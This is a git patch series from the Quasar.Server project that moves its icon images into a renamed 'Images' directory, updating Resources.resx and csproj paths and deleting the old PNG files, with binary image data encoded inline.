zhrpuriKefui_0DvN;1Ymq&%nwWg*IrK!Xz^eJWuq3u2H~0ra?EC@ge%+`A>6mV z9{TYo{=G6 zt@5m|4G+Q2zKv;Ch@O;`PfWArmB5n3gvMsxV&Iu>97{a!2kL74wd@!f_AP^O%_&ND zm}1c*+F;TcH^{p$P_|akvD5o7vmT>HCkP;z;;&+8tDBI;koi9eX`W!oH4`pYaHlFZwV;$>vvfQTw zM-`m&R_SPIBa^FUasC0GCCh%{h`$~db`z&-lFX#%(f>H6JD6Z(sIW`RKE+xOL+?+uQ%q z){?+F%=6pqEH{6=NzusC-*<`PZYiLCGyKD}Z8^V8ul-K=AV@SE1t4~D2*b1(9UUc= zN-;Dv#Ngl{rd7e$ZUPXC##BFmV>$26ZQi?6Po#@{4gllsPbku3Vq${Y+FAf~T}OJb zGWEz9{(zcvI&CUaN&p7GcqMG4&7ULx##68M4k(F4l7Q+Xm&>uSv4N&(w6?a=)YOC{ zoYLN-J?7@-9xGBx007$C+kK7w_2Z$(k&l}jo2#`dO;J#Ipsbc$pS#^Dy3Q&nSeE5x fGMT)t>sS8=`naU3reLNz00000NkvXXu0mjf)bGN+ literal 0 HcmV?d00001 diff --git a/Quasar.Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx index 32042a541..4bdf3dfb5 100644 --- a/Quasar.Server/Properties/Resources.resx +++ b/Quasar.Server/Properties/Resources.resx @@ -119,94 +119,94 @@ - ..\images\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_cascade.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_cascade.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\user.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\user.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\monitoring.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\monitoring.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\uac_shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\uac_shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\cog.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\cog.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a MIT License @@ -232,54 +232,54 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server_disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_edit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_edit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index 583e8d8a2..d6eae070b 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -10,7 +10,7 @@ Quasar.Server.Program - icons\Quasar_Server.ico + Images\Icons\Quasar_Server.ico app.manifest From 3fbf7fd0f775f5ec752eaf0ddabd098a7f8a1f6c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 28 May 2020 21:27:53 +0200 Subject: [PATCH 181/229] Update images directory --- Quasar.Server/Properties/Resources.resx | 4 ++-- Quasar.Server/images/actions.png | Bin 536 -> 0 bytes Quasar.Server/images/application.png | Bin 367 -> 0 bytes Quasar.Server/images/application_add.png | Bin 619 -> 0 bytes Quasar.Server/images/application_cascade.png | Bin 524 -> 0 bytes Quasar.Server/images/application_delete.png | Bin 610 -> 0 bytes Quasar.Server/images/application_edit.png | Bin 703 -> 0 bytes Quasar.Server/images/application_go.png | Bin 634 -> 0 bytes Quasar.Server/images/archive.png | Bin 644 -> 0 bytes Quasar.Server/images/arrow_down.png | Bin 379 -> 0 bytes Quasar.Server/images/arrow_up.png | Bin 372 -> 0 bytes Quasar.Server/images/back.png | Bin 371 -> 0 bytes Quasar.Server/images/bricks.png | Bin 825 -> 0 bytes Quasar.Server/images/broom.png | Bin 784 -> 0 bytes Quasar.Server/images/cancel.png | Bin 587 -> 0 bytes Quasar.Server/images/cog.png | Bin 512 -> 0 bytes Quasar.Server/images/computer.png | Bin 667 -> 0 bytes Quasar.Server/images/delete.png | Bin 715 -> 0 bytes Quasar.Server/images/done.png | Bin 537 -> 0 bytes Quasar.Server/images/drive_go.png | Bin 661 -> 0 bytes Quasar.Server/images/eye.png | Bin 750 -> 0 bytes Quasar.Server/images/file.png | Bin 510 -> 0 bytes Quasar.Server/images/folder.png | Bin 537 -> 0 bytes Quasar.Server/images/image.png | Bin 700 -> 0 bytes Quasar.Server/images/information.png | Bin 778 -> 0 bytes Quasar.Server/images/key_go.png | Bin 744 -> 0 bytes Quasar.Server/images/keyboard_add.png | Bin 683 -> 0 bytes Quasar.Server/images/keyboard_delete.png | Bin 681 -> 0 bytes Quasar.Server/images/keyboard_magnify.png | Bin 651 -> 0 bytes Quasar.Server/images/lightning.png | Bin 634 -> 0 bytes Quasar.Server/images/monitor.png | Bin 612 -> 0 bytes Quasar.Server/images/monitoring.png | Bin 952 -> 0 bytes Quasar.Server/images/mouse_add.png | Bin 729 -> 0 bytes Quasar.Server/images/mouse_delete.png | Bin 741 -> 0 bytes Quasar.Server/images/movie.png | Bin 661 -> 0 bytes Quasar.Server/images/music.png | Bin 711 -> 0 bytes Quasar.Server/images/page_copy.png | Bin 663 -> 0 bytes Quasar.Server/images/pdf.png | Bin 500 -> 0 bytes Quasar.Server/images/refresh.png | Bin 685 -> 0 bytes Quasar.Server/images/reg_binary.png | Bin 406 -> 0 bytes Quasar.Server/images/reg_string.png | Bin 487 -> 0 bytes Quasar.Server/images/registry.png | Bin 714 -> 0 bytes Quasar.Server/images/restart.png | Bin 756 -> 0 bytes Quasar.Server/images/save.png | Bin 410 -> 0 bytes Quasar.Server/images/server.png | Bin 530 -> 0 bytes Quasar.Server/images/server_add.png | Bin 676 -> 0 bytes Quasar.Server/images/server_delete.png | Bin 668 -> 0 bytes Quasar.Server/images/server_disconnect.png | Bin 755 -> 0 bytes Quasar.Server/images/server_go.png | Bin 706 -> 0 bytes Quasar.Server/images/server_link.png | Bin 706 -> 0 bytes Quasar.Server/images/shutdown.png | Bin 660 -> 0 bytes Quasar.Server/images/standby.png | Bin 621 -> 0 bytes Quasar.Server/images/terminal.png | Bin 359 -> 0 bytes Quasar.Server/images/text.png | Bin 592 -> 0 bytes Quasar.Server/images/textfield_rename.png | Bin 273 -> 0 bytes Quasar.Server/images/transmit_blue.png | Bin 814 -> 0 bytes Quasar.Server/images/uac_shield.png | Bin 3556 -> 0 bytes Quasar.Server/images/user.png | Bin 741 -> 0 bytes Quasar.Server/images/website.png | Bin 903 -> 0 bytes Quasar.Server/images/word.png | Bin 734 -> 0 bytes Quasar.Server/images/world_go.png | Bin 944 -> 0 bytes Quasar.Server/images/world_link.png | Bin 957 -> 0 bytes 62 files changed, 2 insertions(+), 2 deletions(-) delete mode 100644 Quasar.Server/images/actions.png delete mode 100644 Quasar.Server/images/application.png delete mode 100644 Quasar.Server/images/application_add.png delete mode 100644 Quasar.Server/images/application_cascade.png delete mode 100644 Quasar.Server/images/application_delete.png delete mode 100644 Quasar.Server/images/application_edit.png delete mode 100644 Quasar.Server/images/application_go.png delete mode 100644 Quasar.Server/images/archive.png delete mode 100644 Quasar.Server/images/arrow_down.png delete mode 100644 Quasar.Server/images/arrow_up.png delete mode 100644 Quasar.Server/images/back.png delete mode 100644 Quasar.Server/images/bricks.png delete mode 100644 Quasar.Server/images/broom.png delete mode 100644 Quasar.Server/images/cancel.png delete mode 100644 Quasar.Server/images/cog.png delete mode 100644 Quasar.Server/images/computer.png delete mode 100644 Quasar.Server/images/delete.png delete mode 100644 Quasar.Server/images/done.png delete mode 100644 Quasar.Server/images/drive_go.png delete mode 100644 Quasar.Server/images/eye.png delete mode 100644 Quasar.Server/images/file.png delete mode 100644 Quasar.Server/images/folder.png delete mode 100644 Quasar.Server/images/image.png delete mode 100644 Quasar.Server/images/information.png delete mode 100644 Quasar.Server/images/key_go.png delete mode 100644 Quasar.Server/images/keyboard_add.png delete mode 100644 Quasar.Server/images/keyboard_delete.png delete mode 100644 Quasar.Server/images/keyboard_magnify.png delete mode 100644 Quasar.Server/images/lightning.png delete mode 100644 Quasar.Server/images/monitor.png delete mode 100644 Quasar.Server/images/monitoring.png delete mode 100644 Quasar.Server/images/mouse_add.png delete mode 100644 Quasar.Server/images/mouse_delete.png delete mode 100644 Quasar.Server/images/movie.png delete mode 100644 Quasar.Server/images/music.png delete mode 100644 Quasar.Server/images/page_copy.png delete mode 100644 Quasar.Server/images/pdf.png delete mode 100644 Quasar.Server/images/refresh.png delete mode 100644 Quasar.Server/images/reg_binary.png delete mode 100644 Quasar.Server/images/reg_string.png delete mode 100644 Quasar.Server/images/registry.png delete mode 100644 Quasar.Server/images/restart.png delete mode 100644 Quasar.Server/images/save.png delete mode 100644 Quasar.Server/images/server.png delete mode 100644 Quasar.Server/images/server_add.png delete mode 100644 Quasar.Server/images/server_delete.png delete mode 100644 Quasar.Server/images/server_disconnect.png delete mode 100644 Quasar.Server/images/server_go.png delete mode 100644 Quasar.Server/images/server_link.png delete mode 100644 Quasar.Server/images/shutdown.png delete mode 100644 Quasar.Server/images/standby.png delete mode 100644 Quasar.Server/images/terminal.png delete mode 100644 Quasar.Server/images/text.png delete mode 100644 Quasar.Server/images/textfield_rename.png delete mode 100644 Quasar.Server/images/transmit_blue.png delete mode 100644 Quasar.Server/images/uac_shield.png delete mode 100644 Quasar.Server/images/user.png delete mode 100644 Quasar.Server/images/website.png delete mode 100644 Quasar.Server/images/word.png delete mode 100644 Quasar.Server/images/world_go.png delete mode 100644 Quasar.Server/images/world_link.png diff --git a/Quasar.Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx index 4bdf3dfb5..c6fb52331 100644 --- a/Quasar.Server/Properties/Resources.resx +++ b/Quasar.Server/Properties/Resources.resx @@ -250,7 +250,7 @@ SOFTWARE. ..\Images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\Icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -282,4 +282,4 @@ SOFTWARE. ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - \ No newline at end of file + diff --git a/Quasar.Server/images/actions.png b/Quasar.Server/images/actions.png deleted file mode 100644 index d7da501700e94d9a24ce0102b989c21271b525d1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 536 zcmV+z0_XjSP)#AyqA$>K<)e!|K;Vy80M}zxAf_~>sgO>)qWz$fZU0D{yW=i zGW`7chhf9c8+T7%dK7(UP3lRa4M=L+_}|`2gW>;w5br<3_1kZL?>PFX?&Yl`T`!JL z`$y1#@ah%+Z7nrHdKv!x|Hts}?_Y+`Uw$y`JN10ugZqzS?{6u7hSz|=l7;`R%yob+ z_|NbcsQK^TKMcQr{bKn2`zOPV`=8%jz5hAs=E|haI1TVCnD^h*RFC2RzyA=;K#gBM ze`R?0_C3S%=Pw!VJ$n70flG4o{Z0A#SPgK^nDJjjQ-|TtpFa%WfBa(j{P_#efKLpc zKYd{M`2HQkw{PG6|K|{y^k7>>0Zs!nwGF`r{QUWo;p?~WK+PW+K7Dw{@czTwS06wB zNP4`teJf5cc;?RfZ(v}-@ay+)plv|SU%oPY`0$3|?yW03Uq88@@aDpb7kC5Fr)bW9 zb5nbU@85p_HGg5a`|#$^ODB(1zJG9W!q+FK{}YTx-_p7NZ7p0F-T?i4VE>kDw@x3A z`fz>AMWPduSJ|BZvhphbx2{?^^X;9>Mc<#E`OZK9pcr7A-?8w@&b@2i-`KsGkVdQq akOKfGkqaR7-oKat00007g! zKzG@A0hc1KJ&B8)#icv1;tdRB5!ZqQ@?+G2IO#vDdWf!jQt+l=nD2GHqDRFTaY)h4 z)8dxuU}F^4WUwwZR)q$(el(hW zKn&{7Wm9by42O{9z5nZb@dL;FZpi(-`>uL<`>Kh`5|4K$z4CK>kasSfmb*-)6ogF% z`;l`>Yuy<*YyWd*lraXvCIiP#qMVY*oxyIGPR})v9SBRdZIgjzx7-~FOSb0(L2urK!^W@@w-s>X80Ag3?`k8$#1J0F}NdayEtTz+~+#EG995YAF(1xew#=1J)ogJuY z3Lxu(1VP;KAh`GKm^?X0f~UCV*)Nf5F(3GKr=#9qzp;L29U)FF98>T4&VoHZ|-ho>^FRq4ws;uOVa=V002ovPDHLk FV1kR43LgLf diff --git a/Quasar.Server/images/application_cascade.png b/Quasar.Server/images/application_cascade.png deleted file mode 100644 index da5c622eaca0deb4866135926af1d2aa5101d106..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 524 zcmV+n0`vWeP)}lwk9A2Ze|&iZoIgAZ3MTi0rviU@eS5?r z4KA#JuLrmglUjU7y&F^VIw}$Rg3uR)V-k9U&=-WhAoK;n1)+F@6(FfbKq!_YoYN6- z@oomdg%KbsI|VMR`^0v};X*@SkkbJdKbzvy#h(jwfiBRE_p0E=F98r%Yr~OBPWzsj6v!X?6(f7#B3EJn O0000hj32+Ia2PFSwHp_;8^u8>r6{e*krHy43#H^jT&z}Wa&xpokqZtA zFR&Fehhe_gp*x{i&XLj%HzdqAeQvxDT1Rjn;gaWw} z5^~2QShuR2o0yn9fA7Y?Xzt(DKhn`?rmhAn(VT1h2r!!4rBZw52P-vSDzPZb#g$`y ztkj8XEoxZ`Y73PkKp{LJ5D~&7@Je_kT)~2i-c6l&IJJyK&5~gfN`_2W7%3TM2{XqE zQA8qFq861?%N|ZG0Wt%FLJ$TKq7Wo2$Odl0Q&0;JYFQzcn1MtBWCjLiAQxdE1Cmih zK`p|mAf*(48Y1z>=gVSoY2jATaZ?l66O4$*k`47+`l zweRoK+p__ghH^x(%m8DN8Gl-sYSGx#3kS}zEMMMC5wqj&noaWd37uvw=_X01NGD-Z+i^1;8t2&z(w`{C(PM?|mR`Ky`;pIFxeKF=OosmQ6jmTLP{}-6iF>nO8f(+aY2!Xm^*5Av6NhR zD0!Nar%`rnu~v@R4hO^8&iS41=VQN>+65QO>m_E!|B#IbuI^pAy5?9WYjHC`6;s8j z!_-hy%sJEya}KAD$C|Z-~!ZLFQctG09Uhp@QPcl?mU}7$E{?cz}t3fC%LK?;}5+keI!OTyHb6 z@j}nbBm-HHT&CJnb^IYBAVSCka_RdNzT74;XDve?FCx*eM2ky^TZSvCN4lf#zADBt{VLMZ58~8Xlk&tIj2}J+_M1=n24SuBB zC|kIW{HG=&F(WrHgY=^pRBSp=QTYN)m5{Hh{2@SBTQi04uPMk>dS9PrQdx|l%yhmz zOH#Sz0@1`YLTX0HPj&aS)SnFM)H&2CwbI1q`b)fRK1k<-HpW#}^Sv*{jiIgdH9W>t zQ6<#EFflVmJF;g{aA;S(kLP%K=NdiTT|X03N>|n%ZExo<#LO72ZdK{vlG)|{vIVoS lXs&IrKfQB(cA1hmXWM zDZ#H?v3PJ5$Hq5OmbDN{wJ%9%wAR zT-Qu9!vIN`896F;t~rD&@Nfe0`Nv1rEgogE>hi36i1p_V%rE6ZqX5JdGmz-z3Rm#{ z+Z*c0z*?bg!mefM79{Zs`zK3~u)rkEuD#mHG}dlY@$@R6?<^o~D%1C9AK Udps;mZ~y=R07*qoM6N<$f`qvmMgRZ+ diff --git a/Quasar.Server/images/archive.png b/Quasar.Server/images/archive.png deleted file mode 100644 index f0756cd29cbdabaf0a0573b1e5e0d9e7e6a77738..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 644 zcmV-~0(cJ(AUG4-gNU-p*(#jOZMld9Wf(W+O7KVTrv@mF6uv4&5B#8Kf62Tlq3&9{pA|hHS zLWJDzzV(~8cbmJz0|(x|dGF19GvCatN|FRm=4wA(91n;N$dYf;QlXTB*7`^7{L>w1 zN@@#O`G|9E{1k7Um~)STs38x4rin55_UXg+#o6%Akqa+RqD^du7H#6uz1uKKBaSyw z8lA@Q!AZpLFXQ3e1suEh7A`t7u{aAwkckceFD^npmxneQt`T|X)fd-L+!jju_`U%Y zYS)?Ixf74C1OYw9#Z9Lq=}!P_H3BZ#*OulnJa(2WBJA2bgf~|!cyMV1I|ui`CCTxw z43tmX&`~j(Viv{f6xLqfz{ckl>>Jt7Rq<3~7iPunpy1+=00x>BSKQZ^Z=rZ#8n0Fs zP+xlPgE$tsTpg3PbOOjRjtIcWS`KW+?#gL=sox|e1Cz5EfKXCxUC>(;LeE`5j8XVn 